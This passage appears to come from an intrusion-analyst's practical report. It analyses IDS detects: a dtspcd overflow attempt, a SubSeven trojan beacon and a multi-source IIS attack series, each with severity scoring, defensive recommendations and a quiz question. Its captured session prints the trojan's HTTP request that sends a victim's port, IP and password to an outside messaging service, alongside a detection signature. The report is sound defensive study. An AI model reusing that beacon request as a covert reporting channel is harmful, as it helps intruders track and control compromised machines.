Attack Lethality: 5. The attacker was looking for a vulnerable version of CDE dtspcd that would allow root access. Because a buffer overflow was attempted to gain root the lethality is set at level 5.

System Countermeasures: 3. The host is running the CDE TCP port 6112, which is publicly accessible, however, the server has been updated with the proper patch. I would give this server higher countermeasure grade, but the fact remains it is running numerous services all open to the public and is in front of the firewall.

Network Countermeasures: 4. The firewall is placed behind the host, however, there is an IDS monitoring all traffic both directions. Because there is no firewall in place for this host the attack is allowed to take place.

Attack Severity: 1. (3 + 5) – (3 + 4) = 3

Defensive Recommendations:

Although the target is properly patched, it needs to be moved behind the firewall to avoid public exposure to continuous attacks.

Multiple Choice test question

Question: Based on the logs and session data the attacker was most likely not successful because

A. The firewall blocked the attack
B. We can ensure the inetd.conf file was not altered in the session data
C. The target IP is not shown in the firewall logs
D. No evidence of a successful bin_sh within the session data

Answer D

Detect # 2 ICQ-Pager

SubEvents 6370410

GMT Timestamps Subevent Number Source IP Address Signature Name Signature Types Analyst Signature Name

4/23/2002 11:59:59 PM 6370410 CLIENT.NET.63.8 ICQ-PAGER Dragon Alerts

SubCategory Logs Cost Severity

Usage 12 3 Informational

Logs for SubEvent 6370410

GMT Timestamp Original Timestamp Source IP Address Source Port Destination IP Address Dest Port Protocol

4/23/2002 11:43:28PM 4/23/2002 11:43:28PM CLIENT.NET.63.8 14481 205.188.24

System Messages Device IP Address Device Name Device Type Sensor Name

tcp,dp=80,sp=14481 CLIENT.NET.89.251 CLIENT, Dragon IDS Dragon DRAG-CLIENT

Captured Dragon Session:

```
GET /scripts/WWPMsg.dll?from=Sub7Server&frome-
mail=&subject=VictimIsOnline!!&body=[port=1243]-[ip=Client.Net.5.74]-[
victim=]-[version=2.0]-[password=yes_(god)]&to=&Send=Message
HTTP/1.0{D}{A}
Host: wwp.icq.com{D}{A}
Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff{D}{A}
Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript{D}{A}
Content-type: application/x-www-form-urlencoded{D}{A}
{D}{A}
GET /scripts/WWPMsg.dll?from=Sub7Server&frome-
mail=&subject=VictimIsOnline!!&body=[port=1243]-[ip=10.0.5.74]-[victim=]-[ve
rsion=2.0]-[password=yes_(god)]&to=&Send=Message HTTP/1.0{D}{A}
Host: wwp.icq.com{D}{A}
Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff{D}{A}
Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript{D}{A}
Content-type: application/x-www-form-urlencoded{D}{A}
{D}{A}
{A}
HTTP/1.1 301 Moved Permanently{D}{A}
Date: Mon, 11 Feb 2002 21:31:03 GMT{D}{A}
Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a{D}{A}
Location: /whitepages/error/1,,pager_error,00.html{D}{A}
Cache-Control: max-age=0{D}{A}
Expires: Mon, 11 Feb 2002 21:31:03 GMT{D}{A}
Connection: close{D}{A}
Content-Type: text/html{D}{A}
```

Dragon Signature:

```
T D F B 5 30 80      ICQ-PAGER     /2fscripts/2fWWPMsg.dll/3f
| | | | | | |   |              |                    |
| | | | | | |   |              |                    Search String  (Signature string)
| | | | | | |   |              Event Name (Signature name)
| | | | | | |   Port (port 80)
| | | | | |  Compare Bytes (30 bytes into each packet)
| | | | |  Dynamic Log (5 packets after rule triggers)
| | | |  Binary or String (lower case)
| | |  Protected Network (from protected network)
| |  Direction (Destination)
|  Protocol (TCP)
```

Source of Trace:

This detect was obtained from our Security Operations Center Analysis and Response Console.

Detect Generated By:

This event was generated by Dragon 4.2.2 on Redhat 7.1. A quick overview of Dragon Signature format is seen just below the signature.

Probability the Source Address was Spoofed:

The probability that this is a spoofed attack is zero. Most spoofed attacks are represented in the form of UDP denial of service. This attack was socially engineered with the infected host requesting communication over TCP.

Description of the Attack:

This trace demonstrates the use of an outbound SubSeven-pager call over ICQ originating from IP CLIENT.NET.5.74. Reviewing the Dragon session data, the WWPMsg.dll? script at wwp.icq.com appears to be the pager messaging service for ICQ. This web request appears to send a message to icq#52289153 from "Sub7Server" saying that vDEFCON8_2.1 of SubSeven has been installed on the host at CLINET.NET.5.74:63969 with the Default username and "cyborg" as the password. This Trojan is particularly dangerous because it may allow an attacker to connect to the vulnerable host with administrative privileges. Based on the captured Dragon session, the internal hosts attempt to communicate its existence has failed.

Unlike older versions of SubSeven to which the attacker or SubSeven client randomly scan for available SubSeven victims, more advanced versions of SubSeven, such as this one, attempt to use ICQ, IRC and various e-mail accounts to notify the author that his or her victims are online. In this case it appears that the source attempted to email the author via an ICQ.com server. Fortunately this outbound attempt to advertise its existence was not successful, as shown in the session data seen above.

Attack Mechanism:

We have monitored this customer for nearly a year, and we had not observed any similar traffic until this time. Most likely the workstation user had downloaded the program via an e-mail attachment or website, a common method of social engineering. "When run, the backdoor copies itself to the Windows directory with the original name of the file it was run from or as SERVER.EXE, KERNEL16.DL, RUNDLL16.COM, SYSTEMTRAYICON!.EXE or WINDOW.EXE (names are different in different versions of SubSeven)" (http://www.europe.f-secure.com/v-descs/subseven.shtml). Newer versions of the SubSeven Trojan drop a program named WINDOS.EXE, which runs whenever an .exe file is started. This allows an attacker to remotely retrieve saved and cached passwords, decrypt passwords, modify registry settings, and manipulate files. Information on the SubSeven 2.2 Trojan can also be found at the web links below.

http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?id=advise73

Correlations

Although I was unable to find any correlation on www.google.org about this specific session data, I did find some interesting information about the misuse of ICQ WWWPager at the following link.
http://www.securitywriters.org/texts/internet%20security/wwwpager.html

Evidence of Active Targeting:

There is no conclusive evidence of active targeting of our customer within this event. Most likely the program was passed on by e-mail attachment and the user was foolish enough to open the executable file.

Severity:

Target Criticality: 5: The target was a Windows 98 client within the internal network. If this program had been successful in its job an attacker could gain access directly into the internal network.

Attack Lethality: 5: The SubSeven Trojan allows direct access into a client computer and the ability to take control as if the attacker were locally logged in. A successful connection to the client would have most likely resulted in an entire internal network compromise.

System Countermeasures: 2. Update the systems anti-virus software. This was a fairly new version of SubSeven, and the anti-virus was most likely out of date and could not recognize the Trojan.

Network Countermeasures: 3. The customer is running a modern Stateful Inspection firewall and is configured to block high port inbound connections such as port 1243 and 27374.

Attack Severity: 1. $(5 + 5) – (2 + 3) = 5$

Defensive Recommendations:

Block all inbound and outbound IRC, ICQ and instant messenger communications. Consult internal users on the dangers of e-mail attachments and viruses. Rebuild the internal host responsible for generating this traffic.

Multiple choice test question:

Question: True of False

The SubSeven clients are executed on the infected host whereas the SubSeven servers are run on the attack host.

A. True
B. False

Answer: B

Detect # 3 Scattered Proxy attack

Event: 1529637

GMT Timestamp	Event Number	Source IP	Company ID	SubEvents	Cost	Severity
5/3/2002 8:01:22 PM	1529637	195.171.209.195	vr859495client	9	95	Warning

SubEvents:

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/3/2002 8:05:40 PM	6535772	195.171.209.195	IIS:SENSEPOST-EXE	Dragon Alerts	Sensepost.exe Backdoor Detected.
5/3/2002 8:01:11 PM	6535701	195.171.209.195	IIS:HTR-PROBE	Dragon Aler	
5/3/2002 8:01:11 PM	6535700	195.171.209.195	IIS:CMD.EXE3	Dragon Aler	
5/3/2002 8:01:10 PM	6535699	195.171.209.195	IIS:UNICODE2	Dragon Aler	
5/3/2002 8:01:10 PM	6535698	195.171.209.195	IIS:UNICODE3	Dragon Aler	
5/3/2002 8:01:10 PM	6535697	195.171.209.195	IIS:ADMIN-PASSWORD	Dragon Alerts	IIS IISADMPWD access

SubCategory	Logs	Cost	Severity
Exploit	2	10	Informational
Exploit	1	10	Informational
Secondary	210	1	Informational
URL Attack	21	10	Informational
URL Attack	15	10	Informational
URL Attack	1	10	Informational

SubEvent Logs:

GMT Timestamp	Original Timestamp	Source IP Address	Source Port	Destination IP Address	Dest Port	Protocol
5/3/2002 7:51:06 PM	5/3/2002 7:51:06 PM	195.171.209.195	36682	CLIENT.NET.95.62	80	TCP
5/3/2002 7:48:50 PM	5/3/2002 7:48:50 PM	195.171.209.195	35276	CLIENT.NET.95.59	80	TCP

5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31654	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31634	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31635	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31636	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:01 PM	5/3/2002 7:42:01 PM	195.171.209.195	31673	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:01 PM	5/3/2002 7:42:01 PM	195.171.209.195	31674	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:03 PM	5/3/2002 7:42:03 PM	195.171.209.195	31687	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31635	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31646	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31654	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31654	
CLIENT.NET.95.52	80	TCP		
5/3/2002 7:42:00 PM	5/3/2002 7:42:00 PM	195.171.209.195	31654	
CLIENT.NET.95.52	80	TCP		

Device IP Address	**Device Name**	**Device Type**	**Sensor Name**
Subevent Number	**Action Text**		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535772	IIS:SENSEPOST-EXE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535772	IIS:SENSEPOST-EXE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535701	IIS:HTR-PROBE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535700	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535700	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535700	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535699	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535699	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535699	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535698	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535698	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535698	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535697	IIS:ADMIN-PASSWORD		

Event: 1529638

GMT Timestamp	Event Number	Source IP	Company ID	SubEvents	Cost	Severity
5/3/2002 8:01:22 PM	1529638	204.184.252.121	vr859495client	8	85	Warning

SubEvents:

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/3/2002 8:05:41 PM	6535777	204.184.252.121	IIS:SENSEPOST-EXE	Dragon Alerts	Sensepost.exe Backdoor Detected.
5/3/2002 8:01:12 PM	6535706	204.184.252.121	IIS:HTR-PROBE	Dragon Alerts	Probe For IIS .htr File Detected
5/3/2002 8:01:12 PM	6535705	204.184.252.121	IIS:CMD.EXE3	Dragon Alerts	Windows Commands via HTTP Detected
5/3/2002 8:01:12 PM	6535704	204.184.252.121	IIS:UNICODE2	Dragon Alerts	IIS Unicode Exploit Detected
5/3/2002 8:01:12 PM	6535703	204.184.252.121	IIS:UNICODE3	Dragon Alerts	IIS Unicode Exploit Detected
5/3/2002 8:01:11 PM	6535702	204.184.252.121	IIS:ADMIN-PASSWORD	Dragon Alerts	IIS IISADMPWD access

SubCategory	Logs	Cost	Severity
Exploit	2	10	Informational
Exploit	1	10	Informational
Secondary	209	10	Informational
URL Attack	22	10	Informational
URL Attack	15	10	Informational
URL Attack	1	10	Informational

SubEvent Logs:

GMT Timestamp	Original Timestamp	Source IP Address	Source Port	Destination IP Address	Dest Port	Protocol
5/3/2002 7:50:21 PM	5/3/2002 7:50:21 PM	204.184.252.121	2566	CLIENT.NET.95.61	80	TCP
5/3/2002 7:47:44 PM	5/3/2002 7:47:44 PM	204.184.252.121	2160	CLIENT.NET.95.56	80	TCP
5/3/2002 7:41:20 PM	5/3/2002 7:41:20 PM	204.184.252.121	1391	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:18 PM	5/3/2002 7:41:18 PM	204.184.252.121	1352	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:18 PM	5/3/2002 7:41:18 PM	204.184.252.121	1353	CLIENT.NET.95.50	80	TCP

5/3/2002 7:41:18 PM	5/3/2002 7:41:18 PM		204.184.252.121	1354
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:19 PM	5/3/2002 7:41:19 PM		204.184.252.121	1359
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:20 PM	5/3/2002 7:41:20 PM		204.184.252.121	1388
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:20 PM	5/3/2002 7:41:20 PM		204.184.252.121	1389
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:18 PM	5/3/2002 7:41:18 PM		204.184.252.121	1352
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:19 PM	5/3/2002 7:41:19 PM		204.184.252.121	1363
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:19 PM	5/3/2002 7:41:19 PM		204.184.252.121	1370
CLIENT.NET.95.50	80	TCP		
5/3/2002 7:41:20 PM	5/3/2002 7:41:20 PM		204.184.252.121	1391
CLIENT.NET.95.50	80	TCP		

Device IP Address	**Device Name**	**Device Type**	**Sensor Name**
Subevent Number	**Action Text**		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535777	IIS:SENSEPOST-EXE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535777	IIS:SENSEPOST-EXE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535706	IIS:HTR-PROBE		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535705	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535705	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535705	IIS:CMD.EXE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535704	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535704	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535704	IIS:UNICODE2		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535703	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535703	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535703	IIS:UNICODE3		
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1
6535702	IIS:ADMIN-PASSWORD		

Event: 1529639

GMT Timestamp	**Event Number**	**Source IP**	**Company ID**
SubEvents	**Cost**	**Severity**	
5/3/2002 8:01:22 PM	1529639	204.185.138.59	vr859495client
8	85	Warning	

SubEvents:

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/3/2002 8:05:43 PM	6535781	204.185.138.59	IIS:SENSEPOST-EXE	Dragon Alert	
5/3/2002 8:01:13 PM	6535711	204.185.138.59	IIS:HTR-PROBE		
Dragon Alerts	Probe For IIS .htr File Detected				
5/3/2002 8:01:13 PM	6535710	204.185.138.59	IIS:CMD.EXE3		
Dragon Alerts	Windows Commands via HTTP				
5/3/2002 8:01:13 PM	6535709	204.185.138.59	IIS:UNICODE2		
Dragon Alerts	IIS Unicode Exploit Detected				
5/3/2002 8:01:13 PM	6535708	204.185.138.59	IIS:UNICODE3		
Dragon Alerts	IIS Unicode Exploit Detected				
5/3/2002 8:01:12 PM	6535707	204.185.138.59	IIS:ADMIN-PASSWORD		
Dragon Alerts	IIS IISADMPWD access				

SubCategory	Logs	Cost	Severity
Exploit	2	10	Informational
Exploit	1	10	Informational
Secondary 207	10	Informational	
URL Attack	21	10	Informational
URL Attack	15	10	Informational
URL Attack	1	10	Informational

SubEvent Logs:

GMT Timestamp	Original Timestamp	Source IP Address	Source Port	Destination IP Address	Dest Port	Protocol
5/3/2002 7:49:36 PM	5/3/2002 7:49:36 PM	204.185.138.59	2686	CLIENT.NET.95.60	80	TCP
5/3/2002 7:47:02 PM	5/3/2002 7:47:02 PM	204.185.138.59	1987	CLIENT.NET.95.58	80	TCP
5/3/2002 7:40:52 PM	5/3/2002 7:40:52 PM	204.185.138.59	3560	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:50 PM	5/3/2002 7:40:50 PM	204.185.138.59	3514	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:50 PM	5/3/2002 7:40:50 PM	204.185.138.59	3515	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:50 PM	5/3/2002 7:40:50 PM	204.185.138.59	3516	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:51 PM	5/3/2002 7:40:51 PM	204.185.138.59	3535	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:52 PM	5/3/2002 7:40:52 PM	204.185.138.59	3559	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:52 PM	5/3/2002 7:40:52 PM	204.185.138.59	3561	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:50 PM	5/3/2002 7:40:50 PM	204.185.138.59	3515	CLIENT.NET.95.49	80	TCP

5/3/2002 7:40:50 PM	5/3/2002 7:40:50 PM	204.185.138.59	3520		
CLIENT.NET.95.49	80	TCP			
5/3/2002 7:40:51 PM	5/3/2002 7:40:51 PM	204.185.138.59	3541		
CLIENT.NET.95.49	80	TCP			
5/3/2002 7:40:52 PM	5/3/2002 7:40:52 PM	204.185.138.59	3560		
CLIENT.NET.95.49	80	TCP			

Device IP Address	Device Name	Device Type	Sensor Name	Subevent Number	Action Text
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535781	IIS:SENSEPOST-EXE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535781	IIS:SENSEPOST-EXE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535711	IIS:HTR-PROBE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535710	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535710	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535710	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535709	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535709	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535709	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535708	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535708	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535708	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535709	IIS:ADMIN-PASSWORD

Event: 1529640

GMT Timestamp	Event Number	Source IP	Company ID	SubEvents	Cost	Severity
5/3/2002 8:01:22 PM	1529640	206.228.51.3	vr859495client	8	85	Warning

SubEvents:

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/3/2002 8:01:16 PM	6535719	206.228.51.3	IIS:HTR-PROBE	Dragon Alerts	Probe For IIS .htr File Detected
5/3/2002 8:01:15 PM	6535718	206.228.51.3	IIS:SENSEPOST-EXE	Dragon Ale	

5/3/2002 8:01:15 PM 6535717 206.228.51.3 IIS:ROOT.EXE
Dragon Alerts Probe for root.exe Detected
5/3/2002 8:01:15 PM 6535716 206.228.51.3 IIS:CMD.EXE3
Dragon Alerts Windows Commands via HTTP
5/3/2002 8:01:14 PM 6535715 206.228.51.3 IIS:UNICODE2
Dragon Alerts IIS Unicode Exploit Detected
5/3/2002 8:01:14 PM 6535714 206.228.51.3 IIS:UNICODE3
Dragon Alerts IIS Unicode Exploit Detected
5/3/2002 8:01:14 PM 6535713 206.228.51.3 IIS:ADMIN-
PASSWORD Dragon Alerts IIS IISADMPWD access

SubCategory	Logs	Cost	Severity
Exploit	1	10	Informational
Exploit	2	10	Informational
URL Attack	2	15	Informational
Secondary	155	10	Informational
URL Attack	22	10	Informational
URL Attack	15	10	Informational
URL Attack	1	10	Informational

SubEvent Logs:

GMT Timestamp	Original Timestamp	Source IP Address	Source Port	Destination IP Address	Dest Port	Protocol
5/3/2002 7:44:27 PM	5/3/2002 7:44:27 PM	206.228.51.3	9157	CLIENT.NET.95.54	80	TCP
5/3/2002 7:51:13 PM	5/3/2002 7:51:13 PM	206.228.51.3	13823	CLIENT.NET.95.62	80	TCP
5/3/2002 7:42:02 PM	5/3/2002 7:42:02 PM	206.228.51.3	7746	CLIENT.NET.95.52	80	TCP
5/3/2002 7:40:26 PM	5/3/2002 7:40:26 PM	206.228.51.3	7069	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:26 PM	5/3/2002 7:40:26 PM	206.228.51.3	7072	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:26 PM	5/3/2002 7:40:26 PM	206.228.51.3	7073	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:26 PM	5/3/2002 7:40:26 PM	206.228.51.3	7073	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:27 PM	5/3/2002 7:40:27 PM	206.228.51.3	7101	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:27 PM	5/3/2002 7:40:27 PM	206.228.51.3	7117	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:26 PM	5/3/2002 7:40:26 PM	206.228.51.3	7077	CLIENT.NET.95.49	80	TCP
5/3/2002 7:40:27 PM	5/3/2002 7:40:27 PM	206.228.51.3	7103	CLIENT.NET.95.49	80	TCP
5/3/2002 7:42:02 PM	5/3/2002 7:42:02 PM	206.228.51.3	7748	CLIENT.NET.95.52	80	TCP
5/3/2002 7:44:27 PM	5/3/2002 7:44:27 PM	206.228.51.3	9157	CLIENT.NET.95.54	80	TCP

Device IP Address	Device Name	Device Type	Sensor Name	Subevent Number	Action Text
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535719	IIS:HTR-PROBE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535718	IIS:SENSEPOST-EXE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535718	IIS:SENSEPOST-EXE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535716	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535716	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535716	IIS:CMD.EXE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535715	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535715	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535715	IIS:UNICODE2
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535714	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535714	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535714	IIS:UNICODE3
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535713	IIS:ADMIN-PASSWORD

Event: 1529641

GMT Timestamp	Event Number	Source IP	Company ID	SubEvents	Cost	Severity
5/3/2002 8:01:22 PM	1529641	209.187.235.30	vr859495client	8	85	Warning

SubEvents:

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/3/2002 8:11:01 PM	6535825	209.187.235.30	IIS:HTR-PROBE	Dragon Alerts	Probe For IIS .htr File Detected
5/3/2002 8:11:00 PM	6535824	209.187.235.30	IIS:ADMIN-PASSWORD	Dragon Alerts	IIS IISADMPWD access
5/3/2002 8:05:44 PM	6535784	209.187.235.30	IIS:SENSEPOST-EXE	Dragon Al	
5/3/2002 8:01:17 PM	6535722	209.187.235.30	IIS:CMD.EXE3	Dragon Alerts	Windows Commands via HTTP Detected
5/3/2002 8:01:17 PM	6535721	209.187.235.30	IIS:UNICODE2	Dragon Alerts	IIS Unicode Exploit Detected

5/3/2002 8:01:16 PM 6535720 209.187.235.30 IIS:UNICODE3
Dragon Alerts IIS Unicode Exploit Detected

SubCategory	Logs	Cost	Severity
Exploit	1	10	Informational
URL Attack	1	10	Informational
Exploit	2	10	Informational
Secondary	210	10	Informational
URL Attack	22	10	Informational
URL Attack	15	10	Informational

SubEvent Logs:

GMT Timestamp	Original Timestamp	Source IP Address	Source Port	Destination IP Address	Dest Port	Protocol
5/3/2002 7:50:16 PM	5/3/2002 7:50:16 PM	209.187.235.30	4465	CLIENT.NET.95.61	80	TCP
5/3/2002 7:50:16 PM	5/3/2002 7:50:16 PM	209.187.235.30	4465	CLIENT.NET.95.61	80	TCP
5/3/2002 7:47:36 PM	5/3/2002 7:47:36 PM	209.187.235.30	3743	CLIENT.NET.95.56	80	TCP
5/3/2002 7:45:22 PM	5/3/2002 7:45:22 PM	209.187.235.30	3054	CLIENT.NET.95.55	80	TCP
5/3/2002 7:41:12 PM	5/3/2002 7:41:12 PM	209.187.235.30	1962	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:12 PM	5/3/2002 7:41:12 PM	209.187.235.30	1963	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:12 PM	5/3/2002 7:41:12 PM	209.187.235.30	1965	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:12 PM	5/3/2002 7:41:12 PM	209.187.235.30	1971	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:13 PM	5/3/2002 7:41:13 PM	209.187.235.30	1972	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:13 PM	5/3/2002 7:41:13 PM	209.187.235.30	1991	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:13 PM	5/3/2002 7:41:13 PM	209.187.235.30	1978	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:13 PM	5/3/2002 7:41:13 PM	209.187.235.30	1979	CLIENT.NET.95.50	80	TCP
5/3/2002 7:41:13 PM	5/3/2002 7:41:13 PM	209.187.235.30	1998	CLIENT.NET.95.50	80	TCP

Device IP Address	Device Name	Device Type	Sensor Name	Subevent Number	Action Text
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535825	IIS:HTR-PROBE
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535824	IIS:ADMIN-PASSWORD
CLIENT.NET.0.138	CLIENT, Dragon	Dragon	DRAG-CLIENT1	6535784	IIS:SENSEPOST-EXE

CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535784 IIS:SENSEPOST-EXE
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535722 IIS:CMD.EXE3
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535722 IIS:CMD.EXE3
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535722 IIS:CMD.EXE3
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535721 IIS:UNICODE2
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535721 IIS:UNICODE2
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535721 IIS:UNICODE2
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535720 IIS:UNICODE3
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535720 IIS:UNICODE3
CLIENT.NET.0.138 CLIENT, Dragon Dragon DRAG-CLIENT1
6535720 IIS:UNICODE3

Dragon Signatures and Data Session:

The Dragon signatures and captured session data below represent the attacks that took place against each target web server in the scattered proxy attack. Based on the method, this attack originated from many different source IP's over the course of a few minutes each triggering the same set of signatures and nearly the same log counts, hence the name *scattered proxy attack*.

